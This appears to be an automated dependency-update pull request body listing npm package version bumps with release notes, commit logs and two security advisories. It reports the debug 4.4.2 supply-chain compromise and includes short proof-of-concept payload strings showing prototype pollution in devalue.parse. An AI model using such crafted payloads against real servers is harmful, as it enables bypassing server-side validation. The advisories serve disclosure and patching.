↗️ @rollup/plugin-commonjs (indirect, 28.0.6 → 28.0.9) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @rollup/plugin-node-resolve (indirect, 16.0.1 → 16.0.3) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @rollup/plugin-replace (indirect, 6.0.2 → 6.0.3) · Repo
Sorry, we couldn’t find anything useful about this release.
↗️ @rollup/pluginutils (indirect, 5.2.0 → 5.3.0) · Repo · Changelog
Release Notes
5.3.0 (from changelog)
2025-09-04
Features
- feat: add
suffixRegex& support multiple string (#1886)
Does any of this look wrong? Please let us know.
↗️ @rollup/rollup-android-arm-eabi (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-android-arm64 (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-darwin-arm64 (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-darwin-x64 (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-freebsd-arm64 (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-freebsd-x64 (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-linux-arm-gnueabihf (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-linux-arm-musleabihf (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-linux-arm64-gnu (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-linux-arm64-musl (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-linux-riscv64-gnu (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-linux-riscv64-musl (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-linux-s390x-gnu (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-linux-x64-gnu (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-linux-x64-musl (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-win32-arm64-msvc (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-win32-ia32-msvc (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @rollup/rollup-win32-x64-msvc (indirect, 4.44.2 → 4.53.5) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @sindresorhus/is (indirect, 7.0.1 → 7.1.1) · Repo
Release Notes
7.1.1
7.1.0
- Add
is.optionalandassert.optional1f2440a- Fix TypeScript type narrowing issue with
isUrlStringc68ad76
7.0.2
- FIx observable checking e8e8124
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
↗️ @unhead/vue (indirect, 2.0.12 → 2.0.19) · Repo
Release Notes
2.0.19
🐞 Bug Fixes
- vue: Tree shaking breaking some reactivity - by @harlan-zw (7abb5)
View changes on GitHub
2.0.18
🏎 Performance
- unhead: Avoid server side effects - by @harlan-zw in #585 (3fd09)
View changes on GitHub
2.0.17
No significant changes
View changes on GitHub
2.0.14
🐞 Bug Fixes
- unhead: Multiword attributes in template - by @NikSimonov in #568 (f635b)
View changes on GitHub
2.0.13
🐞 Bug Fixes
- unhead:
- Canonical plugin modifying non-url properties - by @paraboul (ee8fd)
- Avoid normalizing template param input - by @harlan-zw (1d205)
- Safer removal of leading / trailing separators - by @harlan-zw (d4501)
View changes on GitHub
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 56 commits:
chore: release v2.0.19chore: sync lockchore: bump depschore: update bundle stats [skip ci]fix(vue): tree shaking breaking some reactivityMerge branch 'main' of github.com:unjs/unheadchore: release v2.0.18chore: update bundle stats [skip ci]chore: bump exportschore: simplify parserchore: bump export snapshotsMerge remote-tracking branch 'origin/main'chore: broken subpath typeschore(deps): update devdependency @types/jsdom to v27 (#583)chore: broken bundle size writeMerge branch 'main' of github.com:unjs/unheadchore: maybe improve tree shakingperf(unhead): avoid server side effects (#585)chore: bundle test clean upchore: bundle test clean upchore: bundle test clean upchore: bundle test clean upchore: bundle testschore: typecheckchore: bundle size check fixeschore: maybe fix bundle size test (#584)doc: update useScript example title from Google Analytics to Google Tag Manager (#582)chore: release v2.0.17chore: lintdoc: missing README.md'schore: release v2.0.16chore: release v2.0.15chore: bumpperf: walker based `transformHtmlTemplate` (#581)fix(ssr): broken `extractUnheadInputFromHtml` regexchore: bump depsMerge branch 'main' of github.com:unjs/unheadfix: NPM Trusted Publishingchore(deps): update all non-major dependencies (#569)chore: release v2.0.14chore: bump lockchore: maybe fix ts issuechore: bump deps & lintfix(unhead): multiword attributes in template (#568)docs: rel canonical example (#566)chore: release v2.0.13Merge remote-tracking branch 'origin/main'chore: handle boolean propschore: update bundle stats [skip ci]fix(unhead): safer removal of leading / trailing separatorsfix(unhead): avoid normalizing template param inputdoc: schema.org to `bodyClose`chore: broken testschore: bump depsfix(unhead): canonical plugin modifying non-url propertieschore(deps): update all non-major dependencies (#554)
↗️ @vercel/nft (indirect, 0.29.4 → 0.30.4) · Repo
Release Notes
0.30.4
0.30.4 (2025-11-19)
Bug Fixes
0.30.3
0.30.3 (2025-10-16)
Bug Fixes
- Revert "fs.readFile emit relative assets using cwd" (#547) (78b3823), closes vercel/nft#542
0.30.2
0.30.2 (2025-09-26)
Bug Fixes
0.30.1
0.30.1 (2025-08-23)
Bug Fixes
0.30.0
0.30.0 (2025-07-23)
Features
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
fix: Bump glob from 10.4.5 to 10.5.0 (#551)chore: Bump js-yaml from 3.14.1 to 3.14.2 in the npm_and_yarn group across 1 directory (#549)chore: Bump validator from 13.11.0 to 13.15.20 (#548)fix: Revert "fs.readFile emit relative assets using cwd" (#547)chore: add icyJoseph to codeowners (#544)fix: fs.readFile emit relative assets using cwd (#542)chore: Bump tar-fs from 3.0.9 to 3.1.1 (#541)chore(devDep): bump sharp test (#536)chore: Bump brace-expansion (#540)fix: add special case for `ffmpeg-static` (#539)chore: Bump sha.js from 2.4.11 to 2.4.12 (#537)chore: Bump cipher-base from 1.0.4 to 1.0.6 (#538)feat: add support for module-sync export condition in Node.js 22+ (#534)chore(ci): test on node@22 (#535)chore: Bump pbkdf2 from 3.1.2 to 3.1.3 (#533)chore: Bump tar-fs from 3.0.8 to 3.0.9 (#532)
↗️ @vitejs/plugin-vue (indirect, 5.2.4 → 6.0.3) · Repo · Changelog
Release Notes
6.0.3
Please refer to CHANGELOG.md for details.
6.0.2
Please refer to CHANGELOG.md for details.
6.0.1
Please refer to CHANGELOG.md for details.
6.0.0
Please refer to CHANGELOG.md for details.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 23 commits:
release: v6.0.3fix: make handleInvoke interface compatible with invoke (#18876)refactor: fix logic errors found by no-unnecessary-condition rule (#18891)fix: remove CSS import in CJS correctly in some cases (#18885)fix: handle postcss load unhandled rejections (#18886)fix(config): bundle files referenced with imports field (#18887)fix(html): allow unexpected question mark in tag name (#18852)docs: tweak wordings in Environment API doc (#18881)docs: fix typo in v6 announcement (#18884)docs: add SvelteKit to the Environment API story (#18877)docs: fix typo "constrains" to "constraints" (#18879)fix(css): rewrite url when image-set and url exist at the same time (#18868)fix(config): make stacktrace path correct when sourcemap is enabled (#18833)chore: update contributing.md vite version (#18866)docs(api-environment): remove outdated text content (#18856)fix(module-runner): decode uri for file url passed to import (#18837)fix: merge `environments.ssr.resolve` with root `ssr` config (#18857)fix: make result interfaces for `ModuleRunnerTransport#invoke` more explicit (#18851)docs: correct docs about plugin-react-swc (#18762)fix: no permission to create vite config file (#18844)docs(assets): update static asset URL transformation in dev (#18842)fix(deps): update all non-major dependencies (#18853)chore: fix duplicate attributes issue number in comment (#18860)
↗️ @vitejs/plugin-vue-jsx (indirect, 4.2.0 → 5.1.2) · Repo · Changelog
Release Notes
5.1.2
Please refer to CHANGELOG.md for details.
5.1.1
Please refer to CHANGELOG.md for details.
5.1.0
Please refer to CHANGELOG.md for details.
5.0.1
Please refer to CHANGELOG.md for details.
5.0.0
Please refer to CHANGELOG.md and the Vite 5 Announcement blog post for details.
Does any of this look wrong? Please let us know.
↗️ @vue/babel-plugin-jsx (indirect, 1.4.0 → 2.0.1) · Repo · Changelog
Release Notes
2.0.1
🚨 Breaking Changes
View changes on GitHub
1.5.0
🚀 Features
- resolve-type: Support infer generics - by @wh1teAlter and @sxzz in #766 (dd28b)
View changes on GitHub
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 24 commits:
chore: release v2.0.1ci: fix empty buildchore: release v2.0.0ci: upgradechore: fix dev exportschore: update tsconfigfeat!: require node 20.19, drop cjs buildchore: upgrade depschore(deps-dev): bump vite from 7.1.1 to 7.1.5 (#768)ci: upgrade `pnpm/action-setup`chore: release v1.5.0refactor(jsx-explorer): switch to `rolldown-vite`feat(resolve-type): support infer generics (#766)ci: fix build scriptchore: upgrade depschore: emit dts by oxcchore: tsdown workspacechore: upgrade depsci: trusted publisherrefactor: switch to tsdownchore(deps-dev): bump vite from 6.2.4 to 6.2.5 (#753)chore(deps): pin dependency prettier to 3.5.3 (#750)chore: upgrade depschore(deps): update dependency vite to v6.2.3 [security] (#747)
↗️ @vue/compiler-dom (indirect, 3.5.17 → 3.5.25) · Repo · Changelog
Release Notes
3.5.25
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.24
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.23
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.22
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.21
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.20
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.19
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.18
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @vue/compiler-sfc (indirect, 3.5.17 → 3.5.25) · Repo · Changelog
Release Notes
3.5.25
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.24
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.23
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.22
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.21
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.20
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.19
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.18
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @vue/reactivity (indirect, 3.5.17 → 3.5.25) · Repo · Changelog
Release Notes
3.5.25
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.24
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.23
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.22
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.21
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.20
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.19
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.18
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @vue/runtime-core (indirect, 3.5.17 → 3.5.25) · Repo · Changelog
Release Notes
3.5.25
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.24
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.23
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.22
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.21
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.20
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.19
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.18
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @vue/runtime-dom (indirect, 3.5.17 → 3.5.25) · Repo · Changelog
Release Notes
3.5.25
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.24
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.23
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.22
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.21
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.20
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.19
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.18
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @vue/server-renderer (indirect, 3.5.17 → 3.5.25) · Repo · Changelog
Release Notes
3.5.25
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.24
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.23
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.22
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.21
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.20
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.19
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.18
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @vue/shared (indirect, 3.5.17 → 3.5.25) · Repo · Changelog
Release Notes
3.5.25
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.24
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.23
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.22
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.21
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.20
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.19
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
3.5.18
For stable releases, please refer to CHANGELOG.md for details.
For pre-releases, please refer to CHANGELOG.md of theminorbranch.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ ansi-regex (indirect, 6.1.0 → 6.2.2) · Repo
Release Notes
6.2.2
- Fix vulnerability in 6.2.1, see: chalk/chalk#656
6.2.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 6 commits:
↗️ ansi-styles (indirect, 6.2.1 → 6.2.3) · Repo
Release Notes
6.2.3
- Fix vulnerability in 6.2.2, see: chalk/chalk#656
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 2 commits:
↗️ autoprefixer (indirect, 10.4.21 → 10.4.23) · Repo · Changelog
Release Notes
10.4.23
- Reduced dependencies (by @hyperz111).
10.4.22
- Fixed
stretchprefixes on new Can I Use database.- Updated
fraction.js.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
↗️ b4a (indirect, 1.6.7 → 1.7.3) · Repo
Commits
See the full diff on Github. The new version differs by 13 commits:
↗️ bare-events (indirect, 2.5.4 → 2.8.2) · Repo
Commits
See the full diff on Github. The new version differs by 19 commits:
2.8.2Detach some more listenersDetach `once()` listener on abortConsistent ordering in `on()` and `once()`Ensure `once()` rejects rather than throws2.8.1Guard against `_events` being `undefined`Switch to `prettier-config-holepunch` (#10)2.8.0Add `CustomEvent`Use `AbortSignal` from `bare-abort-controller`Run all tests on both Node.js and Bare2.7.0Add `Event` and `EventTarget` (#9)2.6.1Support `EventTarget` in `(get|set)MaxEventListeners()`2.6.0Add `getMaxListeners()` and `setMaxListeners()`Remove `declare` from interface declarations
↗️ browserslist (indirect, 4.25.3 → 4.28.1) · Repo · Changelog
Release Notes
4.28.1
- Removed Baseline warning since we have it own warning.
4.27.0
- Added
BROWSERSLIST_TRACE_WARNINGenvironment variable.
4.26.3
- Fixed
throwOnMissingwithextendsquery (by @alexander-akait).
4.26.2
- Fixed
baseline-browser-mappingversion requirement.
4.26.0
- Added Baseline queries (by @tonypconway).
4.25.4
- Fixed Windows support for custom stats (by @torgeilo).
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 55 commits:
Release 4.28.1 versionUpdate dependencies to use new baseline library with a way to supress warningUpdate dependenciesFix linkAdd browserslist-plausible linkRelease 4.28.0 versionUpdate dependencies and add Multiocular to track changesMerge pull request #909 from SethFalco/esr-rangefeat: allow esr alias in firefox version rangesMerge pull request #910 from SethFalco/docsdocs: delete dead projectsRelease 4.27.0 versionUse vite in examplesAdd BROWSERSLIST_TRACE_WARNING envUpdate dependenciesRelease 4.26.3 versionUpdate dependenciesFix throwOnMissing on extendsRelease 4.26.2 versionIfx dependencyRelease 4.26.1 versionUpdate dependenciesUpdate Firefox ESRFix wordingFix duplicate rulesFix ESLint warningUpdate dependenciesMove widely above since it is more popularRelease 4.26.0 versionUpdate dependenciesUpdate CI actionsFix linkTypoKeep the docs style persistantFix code styleMerge pull request #903 from tonypconway/add-baseline-queryupdates baseline-browser-mapping to v2.8.0Revert another whitespace changeDocuments "widely available on YYYY-MM-DD" syntax and adds error for using it with newly availableSets size limit to 30kB and baseline-browser-mapping version to 2.7.4Adds Baseline tests and removes unneeded commentsExplain Baseline more in README.md, remove unneeded commentsApply suggestion from @aiResolve query, revert .gitignore changesUpdate pnpm-lock.yaml with baseline-browser-mappingIgnore package-lock.jsonRemove package-lock.jsonUpdates README.md to include Baseline queriesRevert auto-formatting and update grammarBasic logic that generates >= statements for each available browserRelease 4.25.4 versionAdd tool to update CI actionsUpdate dependenciesMerge pull request #902 from torgeilo/loadstats-windows-path-bugFix loadStat creating a non-working module path on Windows
↗️ caniuse-lite (indirect, 1.0.30001737 → 1.0.30001760) · Repo · Changelog
↗️ copy-anything (indirect, 3.0.5 → 4.0.5) · Repo
Release Notes
4.0.5
- feat: slightly improve types 8fc6fd5
the possible keys you can pass to
copy(myObj, { props: ['someKey'] })are now typed to bekeyof typeof myObj
4.0.3
- chore: update dependencies 5d89a5c
4.0.2
- chore: update dependencies 530e209
4.0.0
- breaking: ESM only 🎉 7dea06f
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 14 commits:
↗️ css-declaration-sorter (indirect, 7.2.0 → 7.3.0) · Repo · Changelog
Release Notes
7.3.0 (from changelog)
Added
- New sorting order: Frakto, thanks to @danybranding!
- New CSS properties related to: animation & scroll timeline, text trim & wrapping.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 21 commits:
7.3.0Run `npm dedupe`Re-order shorthand properties following formal syntax orderUpdate @mdn/browser-compat-data to version 7.1.6Update rollup to version 4.50.0Update all of eslint to version 9.35.0Delete mise configurationUpdate @rollup/plugin-dynamic-import-vars to version 2.1.5Update rollup to version 3.29.5Update postcss to version 8.5.6Add Frakto css declaration orderAdd code owners fileUpdate @mdn/browser-compat-data to version 6.0.7Update dependencies within their semver rangeConsistently use single quotes for stringsUpdate @mdn/browser-compat-data to version 5.7.5Update @mdn/browser-compat-data to version 5.5.20Update @rollup/plugin-dynamic-import-vars to version 2.1.2Update postcss to version 8.4.38Update rollup to version 3.29.4Update eslint to version 9.0.0
↗️ cssnano (indirect, 7.1.0 → 7.1.2) · Repo · Changelog
Release Notes
7.1.2 (from changelog)
Patch Changes
- Updated dependencies
- cssnano-preset-default@7.0.10
7.1.1 (from changelog)
Patch Changes
- fix: do not strip % sign inside linear()
- Updated dependencies
- cssnano-preset-default@7.0.9
Does any of this look wrong? Please let us know.
↗️ cssnano-preset-default (indirect, 7.0.8 → 7.0.10) · Repo · Changelog
Release Notes
7.0.10 (from changelog)
Patch Changes
- 72dd9c9: fix: update browserslist
- db8e1ee: fix: update browserslist
- Updated dependencies [f31273c]
- Updated dependencies [72dd9c9]
- Updated dependencies [db8e1ee]
- postcss-discard-comments@7.0.5
- postcss-normalize-unicode@7.0.5
- postcss-convert-values@7.0.8
- postcss-reduce-initial@7.0.5
- postcss-minify-params@7.0.5
- postcss-merge-rules@7.0.7
- postcss-colormin@7.0.5
7.0.9 (from changelog)
Patch Changes
- fix: do not strip % sign inside linear()
- Updated dependencies
- postcss-convert-values@7.0.7
Does any of this look wrong? Please let us know.
↗️ csstype (indirect, 3.1.3 → 3.2.3) · Repo
Commits
See the full diff on Github. The new version differs by 18 commits:
v3.2.3Remove Npm lock files from tests and fixturesFix security flawsResolve syntaxes with comma separator and prevent reoccurring data types by skipping functionsRename Release It configRelease 3.2.2Add Release It scriptIgnore comma in CSS syntax for nowv3.2.1Revert type module and rename .js -> .mjs insteadPatch missing shorthands for border-[inline|block]-* properties (#188)v3.2.0Fix update scriptUpdate type tests and drop compatibility with v2Update summariesBump MDN dataAdopt to @mdn/browser-compat-dataBump Npm packages
↗️ debug (indirect, 4.4.1 → 4.4.3) · Repo · Changelog
Security Advisories 🚨
🚨 debug@4.4.2 contains malware after npm account takeover
Impact
On 8 September 2025, the npm publishing account for
debugwas taken over after a phishing attack. Version4.4.2was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments.Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct
<script>inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt.The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. See references below for more information on the payload.
Patches
npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper.
On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. This version is functionally identical to the previously known-good version, published as a patch version bump above the compromised version.
Users should upgrade to the latest patch version, completely remove their
node_modulesdirectory, clean their package manager's global cache, and rebuild any browser bundles from scratch.Those operating private registries or registry mirrors should purge the offending versions from any caches.
References
- https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
- https://socket.dev/blog/npm-author-qix-compromised-in-major-supply-chain-attack
- https://www.ox.security/blog/npm-packages-compromised/
Point of Contact
In the event suspicious behavior is still observed for the package listed in this security advisory after performing all of the above cleaning operations (see Patches above), please reach out via one of the following channels of communication:
- Bluesky, package owner: https://bsky.app/profile/bad-at-computer.bsky.social
debugrepository, tracking issue (applies to all packages affected in the breach): #1005
Release Notes
4.4.3
Functionally identical release to
4.4.1.Version
4.4.2is compromised. Please see #1005.
Does any of this look wrong? Please let us know.
↗️ detect-libc (indirect, 2.0.4 → 2.1.2) · Repo · Changelog
Commits
See the full diff on Github. The new version differs by 11 commits:
Release v2.1.2Ensure Node.js 10 and 12 can use async file-based detection methods (#33)Add semi-automated changelog #32Release v2.1.1Ensure Node.js 10 and 12 can use file-based detection methods (#30)Release v2.1.0CI: Add non-Linux integration tests for completenessPrerelease v2.1.0-rc.0CI: Publish tagged commits to npmDetect libc using the interpreter value from Node's ELF headerCI: update integration test expectations
↗️ devalue (indirect, 5.1.1 → 5.6.1) · Repo · Changelog
Security Advisories 🚨
🚨 devalue prototype pollution vulnerability
1.
devalue.parseallows__proto__to be setA string passed to
devalue.parsecould represent an object with a__proto__property, which would assign a prototype to an object while allowing properties to be overwritten:class Vector { constructor(x, y) { this.x = x; this.y = y; } get magnitude() { return (this.x ** 2 + this.y ** 2) ** 0.5; } } const payload = `[{"x":1,"y":2,"magnitude":3,"__proto__":4},3,4,"nope",["Vector",5],[6,7],8,9]`; const vector = devalue.parse(payload, { Vector: ([x, y]) => new Vector(x, y) }); console.log("Is vector", vector instanceof Vector); // true console.log(vector.x) // 3 console.log(vector.y) // 4 console.log(vector.magnitude); // "nope" instead of 52.
devalue.parseallows array prototype methods to be assigned to objectIn a payload constructed with
devalue.stringify, values are represented as array indices, where the array contains the 'hydrated' values:devalue.stringify({ message: 'hello' }); // [{"message":1},"hello"]
devalue.parsedoes not check that an index is numeric, which means that it could assign an array prototype method to a property instead:const object = devalue.parse('[{"toString":"push"}]'); object.toString(); // 0This could be used by a creative attacker to bypass server-side validation.
Release Notes
5.6.1
Patch Changes
- 2161d44: fix: add hasOwn check before calling reviver
5.6.0
Minor Changes
5.5.0
Minor Changes
- 828fa1c: Enable support for custom reducer/reviver for "function" values
5.4.2
Patch Changes
- 5c26c0d: fix: allow custom revivers to revive things serialized by builtin reducers
5.4.1
Patch Changes
- ca3c7b6: chore: Remove impossible
voidtype from replacer'suneval
5.4.0
Minor Changes
- 9306d09: feat: pass
unevalto replacer, for handling nested custom typesPatch Changes
- b617c7c: perf: shrink
unevaloutput with null-proto objects
5.3.2
Patch Changes
5.3.1
Patch Changes
- ae904c5: fix: correctly differentiate between +0 and -0
5.3.0
Minor Changes
5.2.0 (from changelog)
- Handle custom classes with null proto as pojo (#95)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 43 commits:
